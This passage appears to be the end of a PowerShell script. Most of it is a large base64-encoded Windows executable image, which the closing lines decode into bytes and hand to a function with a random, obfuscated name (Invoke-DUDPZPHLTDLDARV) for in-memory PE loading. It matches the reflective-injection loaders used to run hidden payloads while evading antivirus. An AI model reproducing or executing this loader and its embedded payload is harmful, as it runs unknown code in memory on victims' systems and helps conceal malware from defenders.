AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAA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" [Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32) Invoke-DUDPZPHLTDLDARV -PEBytes $PEBytes }